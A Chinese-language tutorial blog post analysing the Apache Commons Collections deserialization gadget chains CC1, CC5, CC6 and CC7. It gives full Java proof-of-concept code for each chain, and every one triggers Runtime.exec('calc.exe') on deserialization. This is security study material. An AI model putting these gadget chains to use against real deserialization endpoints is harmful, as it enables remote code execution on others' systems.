Java CC链-TransformChain分析

概述

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons 的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和 Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

环境搭建

JDK版本:1.8u60

commons-collections:3.1(可通过maven-compiler-plugin组件指定源码以及编译版本)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <version>3.8.1</version>
            <type>maven-plugin</type>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>1.8</source>
                    <target>1.8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>

transform

Transformer

Transformer是一个用于规范类型转换行为的接口,实现该接口的类有:ChainedTransformer, CloneTransformer, ClosureTransformer, ConstantTransformer, ExceptionTransformer, FactoryTransformer, InstantiateTransformer, InvokerTransformer, MapTransformer, NOPTransformer, PredicateTransformer, StringValueTransformer, SwitchTransformer(3和4的部分实现类有所区别)

介绍一部分实现类(需要用到的类)

ChainedTransformer

传入Transformer数组初始化对象;transform方法依次调用Transformer实现类的transform方法处理传入对象,也就是transform方法的组合拳利用

ConstantTransformer

返回构造ConstantTransformer对象时传入的对象;transform方法会忽略传入参数,不会改变当前对象

使用示例

1
2
3
4
5
6
Object obj1 = new Object();
Object obj2 = new Object();
ConstantTransformer ct = new ConstantTransformer(obj1);
System.out.println(obj1.toString()); // java.lang.Object@4a574795
System.out.println(obj2.toString()); // java.lang.Object@f6f4d33
System.out.println(ct.transform(obj2));// java.lang.Object@4a574795

InvokerTransformer

通过反射调用传入对象的方法(public属性)

commons-collections3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常,这个举措是为了防止远程代码执行;如果允许序列化该类就要在运行时添加属性-Dproperty=true

commons-collections44.1之后直接禁止被用于反序列化

使用示例

1
2
3
4
5
Class[] paramTypes = {int.class, int.class}; // 定义方法参数类型的Class对象
Object[] arg = {0, 3}; // 定义方法参数
InvokerTransformer itf = new InvokerTransformer("substring", paramTypes, arg);
String obj = "tyskill";
System.out.println(itf.transform(obj)); // 调用 substring 方法截取 tyskill 字符串内容

命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 法一:常规套三层 InvokerTransformer
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
            "getMethod",
            new Class[]{String.class, Class[].class},
            new Object[]{"getRuntime", null}
        ),
        new InvokerTransformer(
            "invoke",
            new Class[]{Object.class, Object[].class},
            new Object[]{null, new Object[0]}
        ),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("tyskill"); // 任意传入都可
// 法二:传入 Runtime 实例
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
chain.transform("tyskill"); // 任意传入都可

InstantiateTransformer

通过反射调用传入对象的构造方法新建对象,3.2.2之后启用序列化也需要属性-Dproperty=true,4.1之后也禁止用于反序列化

使用示例

1
2
3
4
String[] arg = {"tyskill"};
InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg);
Object o = it.transform(String.class); // 初始化 String 对象
System.out.println(o);

历史链分析

CommonsCollections 1

条件

1、commons-collections:3.1

2、jdk8u71以下

Gadget chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
    	Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                    	ConstantTransformer.transform()
						InvokerTransformer.transform()
							Method.invoke()
								Class.getMethod()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.getRuntime()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

分析过程

经过前面的基础知识知道可以通过Transformer调用transform方法实现RCE,那么就需要寻找出现transform方法调用且实现了Serializable接口的类,LazyMap类get!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public static Map decorate(Map map, Factory factory) {
    return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

LazyMap在没有key时会尝试调用this.factory.transform方法,this.factory可指定为Transformer对象,且transform方法参数会被直接忽略,因此只需要寻找调用了LazyMap.get的方法,找到了AnnotationInvocationHandler类的invoke方法:

1
2
3
4
5
6
7
8
public Object invoke(Object proxy, Method method, Object[] args) {
    ...

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    ...
}

参考该类的类注释可知该类用于动态代理(实现了InvocationHandler接口可不就是是用于动态代理么),那么invoke就是在动态代理中调用,接下来就是要寻找被代理对象(LazyMap)的方法调用

AnnotationInvocationHandler.readObject()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    ...

}

从字节流设置memberValues成员变量的值,然后通过entrySet方法触发LazyMap的动态代理进而调用AnnotationInvocationHandler的invoke方法,那么链子就串起来了

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public static void main(String[] args) throws Exception {
    // Transformer RCE
    ChainedTransformer chainTransform = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
            )
        }
    );
    // 设置 Transformer 对象
    Map map = (Map) LazyMap.decorate(new HashMap(), chainTransform);

    // 用于动态代理触发 invoke 方法
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor handlerConsructor = clazz.getDeclaredConstructor(
        Class.class,
        Map.class
    );
    handlerConsructor.setAccessible(true);
    InvocationHandler firstHandler = (InvocationHandler) handlerConsructor.newInstance(
        Override.class,
        map
    );

    // Dynamic Call
    Map mapProxy = (Map) Proxy.newProxyInstance(
        map.getClass().getClassLoader(),
        map.getClass().getInterfaces(),
        firstHandler
    );

    // 用于反序列化触发 readObject 方法
    Class claz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor handlerCons = claz.getDeclaredConstructor(
        Class.class,
        Map.class
    );
    handlerCons.setAccessible(true);
    InvocationHandler secondHandler = (InvocationHandler) handlerCons.newInstance(
        Override.class,
        mapProxy
    );
    try {
        byte[] mapSerial = serialize(secondHandler);
        deserialize(mapSerial);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] serialize(Object obj) throws IOException {
    ByteArrayOutputStream buffer = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(buffer);
    oos.writeObject(obj);
    oos.close();
    return buffer.toByteArray();
}

public static void deserialize(byte[] bt) throws IOException, ClassNotFoundException {
    ByteArrayInputStream buffer = new ByteArrayInputStream(bt);
    ObjectInputStream ois = new ObjectInputStream(buffer);
    ois.readObject();
    ois.close();
}

精简链

写完上面的POC之后才看得《Java安全漫谈》,看一眼POC,我这是写了个啥啊。。。

POC主要精简了两点:(虽然一共就两点)

  • transform调用链传入对象思维固定在了Class对象,要用两层InvokerTransformer去获得Runtime实例,那么直接传入实例就可以简化调用过程
  • ysoserial工具思路是经过动态代理调用invoke方法然后进入LazyMap类的get方法完成transform方法调用;而transform方法并不是只有该处出现,在TransformedMap类同样出现且利用难度更低,或许是因为实际情况和安全研究情况不同吧

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
ChainedTransformer chain = new ChainedTransformer(
    new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc.exe"}
        )
    }
);
Transformer transformerChain = chain;
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(
    innerMap,
    null,
    transformerChain
);
outerMap.put("test", "tyskill");

CommonsCollections 5

条件

1、依赖及版本commons-collections:3.1

2、JDK版本8u76(来自ysoserial注释,实际验证8u292也可以触发)

3、没有启用SecurityManager(安全管理器)

Gadget chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

分析过程

有了上面的精简化transform链就不用之前的那个复杂的了,不过也差不多,反正都是CV()

还是通过LazyMap的get方法调用transform方法,不过调用get方法的调用找了其他的类TiedMapEntry,该类的toString方法可以调用自身的getValue方法,然后getValue方法可以调用Map类型的get方法

1
2
3
4
5
6
public Object getValue() {
        return this.map.get(this.key);
    }
public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

接着就是寻找toString方法调用,野生的BadAttributeValueExpException类出现了!也是在这里出现了这条链利用的限制条件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

需要在没有开启安全管理器才能调用valObj对象的toString方法

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static void main(String[] args) throws Exception {
    ChainedTransformer chain = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
            )
        }
    );
    Transformer transformerChain = chain;

    Map map = (Map) LazyMap.decorate(new HashMap(), transformerChain);
    TiedMapEntry tme = new TiedMapEntry(map, "tyskill");
    BadAttributeValueExpException bad = new BadAttributeValueExpException(tme);
    try {
        byte[] b = serialize(bad);
        deserialize(b);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static byte[] serialize(Object obj) throws IOException {
    ByteArrayOutputStream buffer = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(buffer);
    oos.writeObject(obj);
    oos.close();
    return buffer.toByteArray();
}

public static void deserialize(byte[] bt) throws IOException, ClassNotFoundException {
    ByteArrayInputStream buffer = new ByteArrayInputStream(bt);
    ObjectInputStream ois = new ObjectInputStream(buffer);
    ois.readObject();
    ois.close();
}

CommonsCollections 6

条件:commons-collections:3.1

Gadget chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

分析过程

在5的基础上切换了TiedMapEntry类getValue方法的调用流程,同样通过当前类的方法hashCode调用

1
2
3
4
5
6
7
public Object getValue() {
        return this.map.get(this.key);
    }
public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

然后HashMap类hash方法可调用可控对象的hashCode方法,接着配合put方法完成调用

1
2
3
4
5
6
7
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

最后只要找可控对象的put方法即可,找到类HashSet且map就是HashMap类型,这就无需通过反射修改类型了,不过即使修改了在transient关键字修饰下也无法序列化,接下来看向put参数e,e对象是由writeObject方法生成的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private transient HashMap<E,Object> map;

private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out any hidden serialization magic
    s.defaultWriteObject();

    // Write out HashMap capacity and load factor
    s.writeInt(map.capacity());
    s.writeFloat(map.loadFactor());

    // Write out size
    s.writeInt(map.size());

    // Write out all elements in the proper order.
    for (E e : map.keySet())
        s.writeObject(e);
}

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    ...

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        	E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

e对象是通过循环获得map.keySet()(也就是HashMap的keySet方法)内容写入字节流,那么接下来就是如何控制map.keySet()内容的问题了。这里的逻辑有点复杂,我也没太搞懂,只能尽力说一下。

参考方法注释@return a set view of the keys contained in this mapmap.keySet()的内容就是HashMap的key集合,因此我们需要把TiedMapEntry对象作为key传进HashMap对象,怎么传呢?

这里有两种方法:直接传和间接改。

直接传就是调用HashMap的put方法或putVal方法传入,但是我们的目的就是调用这个方法,所以又需要找其他可控对象的put方法,这样又会导致思路变复杂;那么就还有剩下的一种方法,也就是yso链子的思路,通过Node对象来控制key。

Node在HashMap中是一个实现了Map.Entry<K,V>的内部类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static class Node<K,V> implements Map.Entry<K,V> {
    final int hash;
    final K key;
    V value;
    Node<K,V> next;

    Node(int hash, K key, V value, Node<K,V> next) {
        this.hash = hash;
        this.key = key;
        this.value = value;
        this.next = next;
    }

    public final K getKey()        { return key; }
    public final V getValue()      { return value; }
    public final String toString() { return key + "=" + value; }

    public final int hashCode() {
        return Objects.hashCode(key) ^ Objects.hashCode(value);
    }

    public final V setValue(V newValue) {
        V oldValue = value;
        value = newValue;
        return oldValue;
    }

    public final boolean equals(Object o) {
        if (o == this)
            return true;
        if (o instanceof Map.Entry) {
            Map.Entry<?,?> e = (Map.Entry<?,?>)o;
            if (Objects.equals(key, e.getKey()) &&
                Objects.equals(value, e.getValue()))
                return true;
        }
        return false;
    }
}

很明显,这里并没有看到能够添加key的方法,但是却能够在初始化对象时通过反射控制key值,寻找初始化方法调用,然后就可以找到resize方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
final Node<K,V>[] resize() {
        Node<K,V>[] oldTab = table;
        int oldCap = (oldTab == null) ? 0 : oldTab.length;
        int oldThr = threshold;
        int newCap, newThr = 0;
        
    ...
        
        if (oldTab != null) {
            for (int j = 0; j < oldCap; ++j) {
                Node<K,V> e;
                if ((e = oldTab[j]) != null) {
                    oldTab[j] = null;
                    if (e.next == null)
                        newTab[e.hash & (newCap - 1)] = e;
                    else if (e instanceof TreeNode)
                        ((TreeNode<K,V>)e).split(this, newTab, j, oldCap);
                    else { // preserve order
                        Node<K,V> loHead = null, loTail = null;
                        Node<K,V> hiHead = null, hiTail = null;
                        Node<K,V> next;
                        do {
                            next = e.next;
                            if ((e.hash & oldCap) == 0) {
                                if (loTail == null)
                                    loHead = e;
                                else
                                    loTail.next = e;
                                loTail = e;
                            }
                            else {
                                if (hiTail == null)
                                    hiHead = e;
                                else
                                    hiTail.next = e;
                                hiTail = e;
                            }
                        } while ((e = next) != null);
                        if (loTail != null) {
                            loTail.next = null;
                            newTab[j] = loHead;
                        }
                        if (hiTail != null) {
                            hiTail.next = null;
                            newTab[j + oldCap] = hiHead;
                        }
                    }
                }
            }
        }
        return newTab;
    }

接着寻找resize调用就能找到getNode方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
final Node<K,V> getNode(int hash, Object key) {
    Node<K,V>[] tab; Node<K,V> first, e; int n; K k;
    if ((tab = table) != null && (n = tab.length) > 0 &&
        (first = tab[(n - 1) & hash]) != null) {
        if (first.hash == hash && // always check first node
            ((k = first.key) == key || (key != null && key.equals(k))))
            return first;
        if ((e = first.next) != null) {
            if (first instanceof TreeNode)
                return ((TreeNode<K,V>)first).getTreeNode(hash, key);
            do {
                if (e.hash == hash &&
                    ((k = e.key) == key || (key != null && key.equals(k))))
                    return e;
            } while ((e = e.next) != null);
        }
    }
    return null;
}

知道可以通过Node修改key了,接下来就是怎么通过Node修改了。其实也就是怎么调用resize方法初始化Node对象,然后反射修改key字段内容,还是看向方法注释

1
2
3
4
5
6
7
8
9
/**
     * Initializes or doubles table size.  If null, allocates in
     * accord with initial capacity target held in field threshold.
     * Otherwise, because we are using power-of-two expansion, the
     * elements from each bin must either stay at same index, or move
     * with a power of two offset in the new table.
     *
     * @return the table
     */

这里讲述了resize会在第一次使用table(哈希表)字段时自动初始化,即自动调用resize方法,文章https://zhuanlan.zhihu.com/p/55890890也是这样描述的。所以我们要做的就是通过反射插入table字段,让该字段非null就能触发resize方法,接下来所有的就没问题了。

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public static void main(String[] args) throws Exception {
    ChainedTransformer chainTransform = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
            )
        }
    );
    Transformer transformerChain = chainTransform;

    HashMap innerMap = new HashMap();
    Map map = (Map) LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry tme = new TiedMapEntry(map, "tyskill");

    HashSet hs = new HashSet(2);
    hs.add("foo");

    Field f1 = HashSet.class.getDeclaredField("map");
    f1.setAccessible(true);
    HashMap innimpl = (HashMap) f1.get(hs);

    Field f2 = HashMap.class.getDeclaredField("table");
    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);

    Object node = array[1];
    Field keyField = node.getClass().getDeclaredField("key");
    keyField.setAccessible(true);
    keyField.set(node, tme);

    try {
        serialize(hs, "E:/tmp/cc6");
        deserialize("E:/tmp/cc6");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static void serialize(Object obj, String path) throws IOException {
    FileOutputStream fos = new FileOutputStream(path);
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(obj);
    oos.close();
}

public static void deserialize(String path) throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream(path);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    ois.close();
}

CommonsCollections 7

条件:commons-collections:3.1

Gadget chain

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
	java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

分析过程

还是LazyMap的get方法,继续从这开始,抽象类AbstractMapDecorator的equals方法存在可控对象的get方法调用(调试过后发现没有到AbstractMap的equals方法)然后看向Hashtable类的reconstitutionPut方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

利用条件是进入for循环,也就是e != null,如何让它不为null呢?这就要看tab[index]是怎么获得的:是通过计算hash然后经过一些运算然后获得的,但是有个问题就是tab[index]在没有赋值的前提下是一定为null的,因此我们需要找出两个hash相同的对象。这涉及到Java的一个小Trick:"yy".hashCode() == "zZ".hashCode(),传入这两个key就可以让zZ在前者基础上进入for循环,继续寻找调用,正好readObject方法中存在调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

可以调用,但是需要条件,即; elements > 0; elements--能进入循环,也就是内部元素需要至少两个元素,所以可以在Hashtable内插入两条数据,这样就结束了。(这里并没有遇到不用remove时发生的UNIXProcess实例反序列化报错问题)

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
public static void main(String[] args) throws Exception {
    ChainedTransformer chainTransform = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}
            )
        }
    );
    Transformer transformerChain = chainTransform;

    Map map1 = LazyMap.decorate(new HashMap(), transformerChain);
    map1.put("yy",1);
    Map map2 = LazyMap.decorate(new HashMap(), transformerChain);
    map2.put("zZ",1);

    Hashtable table = new Hashtable();
    table.put(map1,"tyskill");
    table.put(map2,"tyskill");

    map2.remove("yy");

    try {
        serialize(table, "E:/tmp/cc7");
        deserialize("E:/tmp/cc7");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static void serialize(Object obj, String path) throws IOException {
    FileOutputStream fos = new FileOutputStream(path);
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(obj);
    oos.close();
}

public static void deserialize(String path) throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream(path);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    ois.close();
}

总结

1、cc在3.2.2版本前InvokerTransformer还可以直接反序列化,此时就只需要寻找transform方法调用;3.2.2之后不能使用-Dproperty=true配置运行文件就只能使用其他姿势了

2、多翻翻同类下的方法调用能使链子更精简

参考

https://paper.seebug.org/1242/

https://forum.butian.net/share/120

3.2.2-Document

4.4-Document

https://github.com/frohoff/ysoserial

《P神--Java安全漫谈》

https://zhuanlan.zhihu.com/p/55890890